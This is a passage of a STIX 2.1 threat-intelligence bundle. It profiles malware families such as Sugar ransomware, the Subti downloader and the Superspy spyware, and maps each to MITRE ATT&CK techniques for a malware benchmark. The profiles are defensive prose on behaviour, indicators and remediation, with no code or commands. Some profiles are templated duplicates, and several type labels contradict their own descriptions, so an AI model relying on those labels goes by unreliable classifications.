      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Subseven exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1ea23810-6fde-5b77-a723-1f7d0ac113b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Subti",
      "description": "Subti (classified across threat telemetry and antivirus databases as TrojanDownloader:Win32/Subti, Trojan:Win32/Subti, and Win32/Subti) is an evasive multi-stage Windows trojan downloader active since 2016. Often distributed through spam emails containing password-protected archive files or deceptive download wrappers on file-sharing sites, Subti specializes in staging secondary crimeware threats onto compromised endpoints. Upon execution, Subti conducts environmental anti-sandbox checks (evaluating system uptime, cursor coordinates, and screen resolution) before establishing outbound HTTP/HTTPS connections to attacker-controlled distribution nodes. It downloads encrypted secondary binary blobs, decrypts them in memory using multi-byte XOR keys, and drops or injects payloads\u2014frequently cryptocurrency miners, modular infostealers, or ransomware loaders\u2014directly into Windows user processes. (Observed samples in benchmark: 35)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDownloader:Win32/Subti",
        "Trojan:Win32/Subti",
        "Trojan.Subti",
        "Win32/Subti",
        "TrojanDownloader:Win32/Subti.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Subti",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/subti"
        }
      ],
      "labels": [
        "trojan_downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dcc304bc-f6ed-5d0e-b8fc-2e266d70ac90",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sugar",
      "description": "Sugar (tracked across cybersecurity threat intelligence feeds under aliases including Sugar Ransomware, Encoded01, and Ransom.Encoded01) is a Delphi-based Ransomware-as-a-Service (RaaS) operation first identified by Walmart security researchers in November 2021. Distinct from high-profile corporate enterprise cartels, Sugar primarily targeted consumer workstations and small businesses with dynamically scaled, relatively low ransom demands. Upon execution, Sugar queries public geolocation APIs (such as whatismyipaddress.com and ip2location.com) to log victim IP addresses before deploying a multi-threaded SCOP encryption algorithm to encrypt user documents, photos, and databases, appending the '.encoded01' extension. The ransomware skips critical operating system directories (such as \\Windows and \\Boot) to keep the host functional, places a Tor browser shortcut on the desktop, and drops ransom notes titled 'BackFiles_encoded01.txt' directing victims to dark web payment portals on sugarpanel.space that mirror the visual aesthetics of REvil and Cl0p. (Observed samples in benchmark: 80)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Sugar",
        "Ransom.Encoded01",
        "Win32/Sugar",
        "Encoded01"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sugar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sugar"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f138329-96e9-5cc8-9633-5b9cb087cc38",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dcc304bc-f6ed-5d0e-b8fc-2e266d70ac90",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sugar exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--61eab1b3-8fae-5270-b806-10e09410fa94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dcc304bc-f6ed-5d0e-b8fc-2e266d70ac90",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sugar exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--59e18540-a266-5f6e-877a-cadcc3b6fb3a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dcc304bc-f6ed-5d0e-b8fc-2e266d70ac90",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sugar exhibits technique T1489 (Service Stop)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--344e9b51-ec4a-5f89-98a0-5e40447d18ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dcc304bc-f6ed-5d0e-b8fc-2e266d70ac90",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sugar exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ebacebc-1fdc-55a9-a010-765e1ebf82a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dcc304bc-f6ed-5d0e-b8fc-2e266d70ac90",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sugar exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--57cd12c2-d892-5d01-81e5-88ac80b5451d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Suite",
      "description": "Trojan:Win32/Suite is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Suite</b><br>To an end-user, a Suite infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Suite is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Suite is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Suite frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Suite reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Suite",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/suite"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4aef6a8-f3a3-53f4-b3f8-a894c356cf43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--57cd12c2-d892-5d01-81e5-88ac80b5451d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Suite exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c563efef-eea4-5769-ac90-85f6c8b88da8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--57cd12c2-d892-5d01-81e5-88ac80b5451d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Suite exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8562189a-ed27-5a60-b883-ace7fdf73f3e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--57cd12c2-d892-5d01-81e5-88ac80b5451d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Suite exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a2f1c58-bc17-59ef-9a8a-b4083980bac1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--57cd12c2-d892-5d01-81e5-88ac80b5451d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Suite exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--65628824-f3af-56a3-9a09-d1ee2c316c95",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--57cd12c2-d892-5d01-81e5-88ac80b5451d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Suite exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--43cd9da4-5a70-57d6-a628-0d6a95c6305e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Suixin",
      "description": "<h3>Executive Summary</h3>\nSuixin is a malicious Trojan and Spyware application designed to covertly infiltrate Windows systems, establish persistence, and harvest sensitive user data for remote threat actors. It is frequently utilized in targeted campaigns to gather intelligence, exfiltrate intellectual property, or steal credentials necessary to facilitate deeper network compromise.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSuixin is typically distributed through highly targeted spear-phishing campaigns, malicious email attachments (such as weaponized Office documents), or via \"drive-by downloads\" originating from compromised, legitimate websites.\n\nUpon successful execution, Suixin operates with a focus on stealth and data harvesting:\n<ul>\n<li><strong>Information Stealing:</strong> The primary function of Suixin is to silently harvest sensitive data. It actively searches for and exfiltrates stored passwords from web browsers, FTP clients, and email applications. It may also capture keystrokes (keylogging) and take periodic screenshots of the user's desktop.</li>\n<li><strong>Persistence:</strong> Suixin ensures it survives system reboots by deeply modifying the Windows Registry (e.g., adding entries to the `Run` keys) or by dropping its executable into critical Windows system folders to camouflage itself as a legitimate process.</li>\n<li><strong>Covert Exfiltration:</strong> The harvested intelligence is securely packaged and transmitted to a command-and-control (C2) server. To evade detection, Suixin often utilizes standard protocols like HTTP/HTTPS or SMTP to blend in with legitimate outbound network traffic.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Suixin infection represents a critical breach of confidentiality. Because it actively harvests credentials, a single compromised machine can provide attackers with the exact usernames and passwords required to bypass VPNs, access corporate email, and pivot laterally across the network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Network Isolation:</strong> Immediately isolate the infected endpoint from the LAN to halt the active exfiltration of sensitive data to the attacker's C2 server.</li>\n<li><strong>Global Credential Reset:</strong> Assume all credentials utilized on the infected machine, as well as any cached network credentials, have been stolen. Force an immediate reset of all associated passwords from a known-secure device.</li>\n<li><strong>Endpoint Sweeps:</strong> Conduct a thorough forensic sweep using enterprise EDR tools to identify the Suixin executable, its persistence mechanisms in the registry, and any dropped files.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Spy.Suixin",
        "Spyware.Suixin",
        "Win32/Suixin"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Suixin",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/suixin"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ac04905-620b-599a-a8a8-bdbbf8c76d05",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43cd9da4-5a70-57d6-a628-0d6a95c6305e",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Suixin exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1a2fff9-8479-5799-be41-4616282d3db8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43cd9da4-5a70-57d6-a628-0d6a95c6305e",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Suixin exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d666a1a1-3ae6-5be8-b54a-f3703284c598",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43cd9da4-5a70-57d6-a628-0d6a95c6305e",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Suixin exhibits technique T1555 (Credentials from Password Stores)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5327368e-4f31-538d-b994-14e671d06fc6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43cd9da4-5a70-57d6-a628-0d6a95c6305e",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Suixin exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f770e039-1f42-574d-b001-71eb59caabec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Suloc",
      "description": "Trojan:Win32/Suloc is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Suloc</b><br>To an end-user, a Suloc infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Suloc is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Suloc is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Suloc frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Suloc reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Suloc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/suloc"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--695cb3c4-ba83-5333-85a8-62a9c29f37be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f770e039-1f42-574d-b001-71eb59caabec",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Suloc exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b2eba30f-6310-5e60-93e3-71e93e4e9909",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f770e039-1f42-574d-b001-71eb59caabec",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Suloc exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--09fbe7fb-95f1-5e87-bce8-6e2d58896999",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f770e039-1f42-574d-b001-71eb59caabec",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Suloc exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54b91b82-e715-593e-b3a6-e7004e9d143a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f770e039-1f42-574d-b001-71eb59caabec",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Suloc exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ccd2d25-e83f-5f57-8329-83716d08cb74",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f770e039-1f42-574d-b001-71eb59caabec",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Suloc exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--64bb6e7e-3085-58b8-a767-2786668c2796",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sunnydigits",
      "description": "Adware:Win32/Sunnydigits is an intrusive Potentially Unwanted Program (PUP) designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Sunnydigits</b><br>To an end-user, Sunnydigits manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Sunnydigits is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sunnydigits",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sunnydigits"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6108ce98-1398-5bcc-8a1b-f9f8710b9a7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64bb6e7e-3085-58b8-a767-2786668c2796",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sunnydigits exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3cdc1037-95e4-5c60-8c5f-c0cb741ad9fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64bb6e7e-3085-58b8-a767-2786668c2796",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sunnydigits exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--744c4398-06fe-5d66-b1f6-52b2c3d596e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64bb6e7e-3085-58b8-a767-2786668c2796",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sunnydigits exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d48d9f9f-f1ea-5279-9fe2-b0dfe91d07d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64bb6e7e-3085-58b8-a767-2786668c2796",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sunnydigits exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--557415dd-8637-5f23-bd8c-2919d9f33d2a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Superspy",
      "description": "<h3>Executive Summary</h3>\nSuperSpy is a classification for a category of commercial or highly aggressive Spyware and Keylogging tools. While occasionally marketed as legitimate \"employee monitoring\" or \"parental control\" software, in the context of endpoint security alerts, the presence of SuperSpy indicates that a system is actively being surveilled without the user's consent, leading to a total compromise of data confidentiality.\n\n<h3>Technical Capabilities and Evasion</h3>\nSuperSpy utilities are designed to silently record every action taken on the compromised machine and exfiltrate that data to a remote server or local hidden file.\n\nCore surveillance capabilities include:\n<ul>\n<li><strong>Comprehensive Keylogging:</strong> The malware intercepts all keystrokes at the operating system level (often via API hooking or filter drivers), capturing passwords, emails, and instant messages regardless of the application being used.</li>\n<li><strong>Screen and Audio Capture:</strong> SuperSpy frequently takes hidden screenshots at regular intervals or when specific applications (like banking portals) are opened. Advanced variants can also silently activate the infected machine's webcam and microphone.</li>\n<li><strong>Clipboard and File Monitoring:</strong> The software continuously monitors the Windows clipboard, capturing copied passwords or sensitive text. It also tracks file modifications and USB drive insertions, often creating hidden backups of sensitive documents for exfiltration.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of SuperSpy is a critical security breach. It guarantees that any credentials entered on the machine, any confidential documents viewed, and any private communications have been compromised by an unauthorized third party (which could be an external attacker or a malicious insider).\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Isolation and Forensic Imaging:</strong> Isolate the machine immediately. Because the software may be related to an insider threat, preserve the system state by taking a forensic image of the hard drive before attempting removal.</li>\n<li><strong>Identify the Exfiltration Vector:</strong> Analyze network logs or local hidden directories to determine where the SuperSpy utility was sending the recorded logs. This is critical for assessing the scope of the data breach.</li>\n<li><strong>Global Credential Reset:</strong> Every password utilized on the infected machine during the timeframe the spyware was active must be considered compromised and immediately changed from a secure device.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Spyware.SuperSpy",
        "Keylogger.SuperSpy",
        "Monitor.Win32.SuperSpy"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Superspy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/superspy"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c4055650-873a-5deb-9960-7feabe010865",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--557415dd-8637-5f23-bd8c-2919d9f33d2a",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Superspy exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e8315c86-4927-520e-bc0d-0fd94b44621f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--557415dd-8637-5f23-bd8c-2919d9f33d2a",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Superspy exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82201cdd-6b38-5d75-ba39-5b8e8e0e312f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--557415dd-8637-5f23-bd8c-2919d9f33d2a",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Superspy exhibits technique T1125 (Video/Audio Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
